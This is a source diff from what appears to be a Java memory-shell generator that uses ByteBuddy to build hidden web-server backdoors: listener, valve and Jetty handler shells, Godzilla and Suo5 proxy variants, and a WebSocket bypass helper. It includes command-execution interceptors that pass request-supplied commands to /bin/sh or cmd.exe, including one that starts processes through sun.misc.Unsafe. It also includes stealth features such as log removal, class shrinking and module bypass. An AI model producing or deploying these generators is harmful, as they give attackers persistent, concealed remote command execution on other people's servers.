+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.server.AbstractServer;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 
@@ -23,31 +29,43 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
-    protected byte[] postProcessBytes(byte[] classBytes) {
-        return classBytes;
-    }
-
     @Override
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
         String shellClassName = shellToolConfig.getShellClassName();
         Class<?> shellClass = shellToolConfig.getShellClass();
-
         if (shellClass != null) {
             shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
         }
-
         if (shellToolConfig.getShellTypeDescription() == null) {
             throw new GenerationException("shellClass or shellTypeDescription could not be null.");
         }
 
-        builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
+        String shellType = shellConfig.getShellType();
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+
+        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
+            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
+        }
+
+        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
+            builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
+        }
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        builder = builder
                 .name(shellClassName)
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
-            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java

@@ -1,19 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-public class DubboServiceInterfaceHelperGenerator {
-    public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
-        try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
-                .redefine(ShellDubboService.class)
-                .name(interfaceName)
-                .make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -49,12 +49,6 @@ public class InjectorGenerator {
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
-        byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
-        if (helperClassBytes != null) {
-            String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
-            builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
-        }
-
         if (shellConfig.needByPassJavaModule()) {
             builder = ByPassJavaModuleInterceptor.extend(builder);
         }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -0,0 +1,53 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.matcher.ElementMatchers;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/22
+ */
+public class ListenerGenerator {
+
+    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
+                                               TypeDescription typeDefinition, String newClassName) {
+        MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
+
+        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
+                        .and(ElementMatchers.takesArguments(Object.class))
+                        .and(ElementMatchers.returns(Object.class)))
+                .isEmpty()) {
+            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
+                    " make sure arg and return type is Object.class");
+        } else {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance(
+                            "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
+                    .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+        }
+
+        if (methods.filter(named("getFieldValue")
+                        .and(takesArguments(Object.class, String.class)))
+                .isEmpty()) {
+            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(Object.class, String.class)
+                    .throwing(Exception.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
+        }
+        return builder;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Processor.java

@@ -1,12 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public interface Processor<T> {
-    T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -1,52 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.processors.*;
-import net.bytebuddy.dynamic.DynamicType;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public final class ProcessorRegistry {
-
-    private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
-            new ListenerBuilderModifier(),
-            new ValveBuilderModifier(),
-            new DebugOffBuilderModifier()
-    );
-
-    private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
-            new JakartaPostProcessor(),
-            new JettyHandlerPostProcessor(),
-            new ShrinkPostProcessor()
-    );
-
-    private ProcessorRegistry() {
-        // Prevent instantiation
-    }
-
-    public static DynamicType.Builder<?> applyBuilderProcessors(
-            DynamicType.Builder<?> builder,
-            ShellConfig shellConfig,
-            ShellToolConfig shellToolConfig) {
-        for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
-            builder = processor.process(builder, shellConfig, shellToolConfig);
-        }
-        return builder;
-    }
-
-    public static byte[] applyByteProcessors(
-            byte[] bytes,
-            ShellConfig shellConfig,
-            ShellToolConfig shellToolConfig) {
-        for (Processor<byte[]> processor : BYTE_PROCESSORS) {
-            bytes = processor.process(bytes, shellConfig, shellToolConfig);
-        }
-        return bytes;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java

@@ -1,17 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.ProxyConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
-    public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
-        super(shellConfig, shellToolConfig);
-    }
-
-    @Override
-    protected DynamicType.Builder<?> getBuilder() {
-        return new ByteBuddy().redefine(shellToolConfig.getShellClass());
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java

@@ -1,46 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.Suo5Config;
-import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
-import com.reajason.javaweb.utils.CommonUtil;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.codec.binary.Base64;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
-
-    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
-        super(shellConfig, suo5Config);
-    }
-
-    @Override
-    protected DynamicType.Builder<?> getBuilder() {
-        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-        }
-        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
-                .redefine(Suo5v2.class)
-                .name(CommonUtil.generateClassName())
-                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
-                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
-                .make()) {
-            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

@@ -1,11 +1,6 @@
-package com.reajason.javaweb.memshell.generator.processors;
+package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.memshell.ServerFactory;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
 import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.memshell.server.Bes;
 import com.reajason.javaweb.memshell.server.TongWeb;
@@ -17,7 +12,6 @@ import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.Implementation;
 import net.bytebuddy.jar.asm.ClassVisitor;
-import net.bytebuddy.jar.asm.Opcodes;
 import net.bytebuddy.jar.asm.commons.ClassRemapper;
 import net.bytebuddy.jar.asm.commons.Remapper;
 import net.bytebuddy.pool.TypePool;
@@ -26,19 +20,9 @@ import org.jetbrains.annotations.NotNull;
 
 /**
  * @author ReaJason
- * @since 2025/12/7
+ * @since 2025/2/22
  */
-public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
+public class ValveGenerator {
-
-    @Override
-    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        String shellType = shellConfig.getShellType();
-        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
-        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
-            builder = modifier(builder, server, shellConfig.getServerVersion());
-        }
-        return builder;
-    }
 
     public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
     public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -46,15 +30,9 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
     public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
     public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
 
-    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
+    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
         String packageName = null;
-        if (shell instanceof Bes) {
+        if (serverVersion != null) {
-            packageName = BES_VALVE_PACKAGE;
-        }
-        if (shell instanceof TongWeb) {
-            if (serverVersion == null) {
-                throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
-            }
             switch (serverVersion) {
                 case "6":
                     packageName = TONGWEB6_VALVE_PACKAGE;
@@ -65,14 +43,18 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
                 case "8":
                     packageName = TONGWEB8_VALVE_PACKAGE;
                     break;
-                default:
-                    throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
             }
         }
-        if (StringUtils.isNotBlank(packageName)) {
+        if (shell instanceof Bes) {
-            return builder.visit(new ValveRenameVisitorWrapper(packageName));
+            packageName = BES_VALVE_PACKAGE;
         }
-        return builder;
+        if (StringUtils.isEmpty(packageName)) {
+            if (shell instanceof TongWeb) {
+                throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
+            }
+            return builder;
+        }
+        return builder.visit(new ValveRenameVisitorWrapper(packageName));
     }
 
     public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
@@ -104,7 +86,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
                                  int readerFlags) {
             return new ClassRemapper(
                     classVisitor,
-                    new Remapper(Opcodes.ASM9) {
+                    new Remapper() {
                         @Override
                         public String map(String typeName) {
                             String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

@@ -1,54 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.Server;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.tuple.Pair;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2026/1/13
- */
-public class WebSocketByPassHelperGenerator {
-    public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
-        if (headerPair == null) {
-            throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
-        }
-
-        if (Server.Tomcat.equals(shellConfig.getServer())) {
-            DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
-                    .redefine(TomcatWsBypassValve.class)
-                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                    .field(named("headerName")).value(headerPair.getKey())
-                    .field(named("headerValue")).value(headerPair.getValue())
-                    .name(helperClassName);
-            if (shellConfig.isJakarta()) {
-                builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-            }
-            try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
-                return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
-            }
-        }
-        return null;
-    }
-
-    private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
-        if (shellToolConfig instanceof CommandConfig) {
-            return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
-        } else if (shellToolConfig instanceof GodzillaConfig) {
-            return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
-        } else if (shellToolConfig instanceof ProxyConfig) {
-            return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
-        }
-        return null;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java

@@ -1,16 +0,0 @@
-package com.reajason.javaweb.memshell.generator.command;
-
-import com.reajason.javaweb.utils.ShellCommonUtil;
-import net.bytebuddy.asm.Advice;
-
-/**
- * @author ReaJason
- * @since 2025/4/27
- */
-public class Base64ParamInterceptor {
-
-    @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
-        returnValue = ShellCommonUtil.base64DecodeToString(param);
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -1,6 +1,8 @@
 package com.reajason.javaweb.memshell.generator.command;
 
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -31,6 +33,14 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                 .field(named("paramName"))
                 .value(shellToolConfig.getParamName());
 
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
         if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -42,28 +52,13 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
-        if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
+
-            builder = builder
-                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
-                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
-                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
-                    .withParameters(String.class)
-                    .throwing(Exception.class)
-                    .intercept(FixedValue.nullValue())
-                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
-                    .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
-        }
         if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.withCustomMapping()
+            builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
-                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
-                    .to(RuntimeExecInterceptor.class)
-                    .on(named("getInputStream")));
         } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.withCustomMapping()
+            builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
-                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
-                    .to(ForkAndExecInterceptor.class)
-                    .on(named("getInputStream")));
         }
+
         return builder;
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

@@ -13,27 +13,9 @@ import java.lang.reflect.Method;
  */
 public class ForkAndExecInterceptor {
     @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd,
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
-                             @Advice.Return(readOnly = false) InputStream returnValue,
-                             @TemplateAnnotation String template
-    ) throws IOException {
         try {
-            String[] cmdarray = null;
+            String[] strs = cmd.split("\\s+");
-            String t = template;
-            if (t == null) {
-                cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
-            } else {
-                if (t.contains("\"{command}\"")) {
-                    String[] split = t.split("\\s+");
-                    for (int i = 0; i < split.length; i++) {
-                        split[i] = split[i].replace("\"{command}\"", cmd);
-                    }
-                    cmdarray = split;
-                } else {
-                    String cmdline = t.replace("{command}", cmd);
-                    cmdarray = cmdline.split("\\s+");
-                }
-            }
             Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
             java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
             unsafeField.setAccessible(true);
@@ -48,11 +30,11 @@ public class ForkAndExecInterceptor {
             }
             Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
 
-            byte[][] args = new byte[cmdarray.length - 1][];
+            byte[][] args = new byte[strs.length - 1][];
             int size = args.length;
 
             for (int i = 0; i < args.length; i++) {
-                args[i] = cmdarray[i + 1].getBytes();
+                args[i] = strs[i + 1].getBytes();
                 size += args[i].length;
             }
 
@@ -66,7 +48,7 @@ public class ForkAndExecInterceptor {
 
             int[] envc = new int[1];
             int[] std_fds = new int[]{-1, -1, -1};
-            byte[] bytes = cmdarray[0].getBytes();
+            byte[] bytes = strs[0].getBytes();
             byte[] result = new byte[bytes.length + 1];
             System.arraycopy(bytes, 0,
                     result, 0,

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -10,28 +10,9 @@ import java.io.InputStream;
  * @since 2025/5/25
  */
 public class RuntimeExecInterceptor {
-
     @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd,
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
-                             @Advice.Return(readOnly = false) InputStream returnValue,
+        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
-                             @TemplateAnnotation String template
+        returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
-    ) throws IOException {
-        String[] cmdarray = null;
-        String t = template;
-        if (t == null) {
-            cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
-        } else {
-            if (t.contains("\"{command}\"")) {
-                String[] split = t.split("\\s+");
-                for (int i = 0; i < split.length; i++) {
-                    split[i] = split[i].replace("\"{command}\"", cmd);
-                }
-                cmdarray = split;
-            } else {
-                String cmdline = t.replace("{command}", cmd);
-                cmdarray = cmdline.split("\\s+");
-            }
-        }
-        returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java

@@ -1,8 +0,0 @@
-package com.reajason.javaweb.memshell.generator.command;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-@Retention(RetentionPolicy.RUNTIME)
-public @interface TemplateAnnotation {
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/DebugOffBuilderModifier.java

@@ -1,22 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-import net.bytebuddy.dynamic.DynamicType;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
-
-    @Override
-    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-        return builder;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java

@@ -1,16 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-
-public class JakartaPostProcessor implements Processor<byte[]> {
-    @Override
-    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        if (shellConfig.isJakarta()) {
-            return ClassRenameUtils.relocateJakarta(input);
-        }
-        return input;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java

@@ -1,62 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.asm.ClassSuperClassUtils;
-import com.reajason.javaweb.asm.MethodUtils;
-import com.reajason.javaweb.memshell.ServerFactory;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-import com.reajason.javaweb.memshell.server.AbstractServer;
-import com.reajason.javaweb.memshell.server.Jetty;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public class JettyHandlerPostProcessor implements Processor<byte[]> {
-
-    @Override
-    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
-        String shellType = shellConfig.getShellType();
-        if (server instanceof Jetty
-                && (ShellType.HANDLER.equals(shellType)
-                || ShellType.JAKARTA_HANDLER.equals(shellType))
-        ) {
-            String superClassName = null;
-            String serverVersion = shellConfig.getServerVersion();
-            if (serverVersion != null) {
-                switch (serverVersion) {
-                    case "6":
-                        superClassName = "org/mortbay/jetty/handler/AbstractHandler";
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
-                        bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
-                        break;
-                    case "7+":
-                        superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
-                        break;
-                    case "12":
-                        superClassName = "org/eclipse/jetty/server/Handler$Abstract";
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
-                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
-                        break;
-                }
-            }
-            if (superClassName == null) {
-                throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
-            }
-            return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
-        }
-        return bytes;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

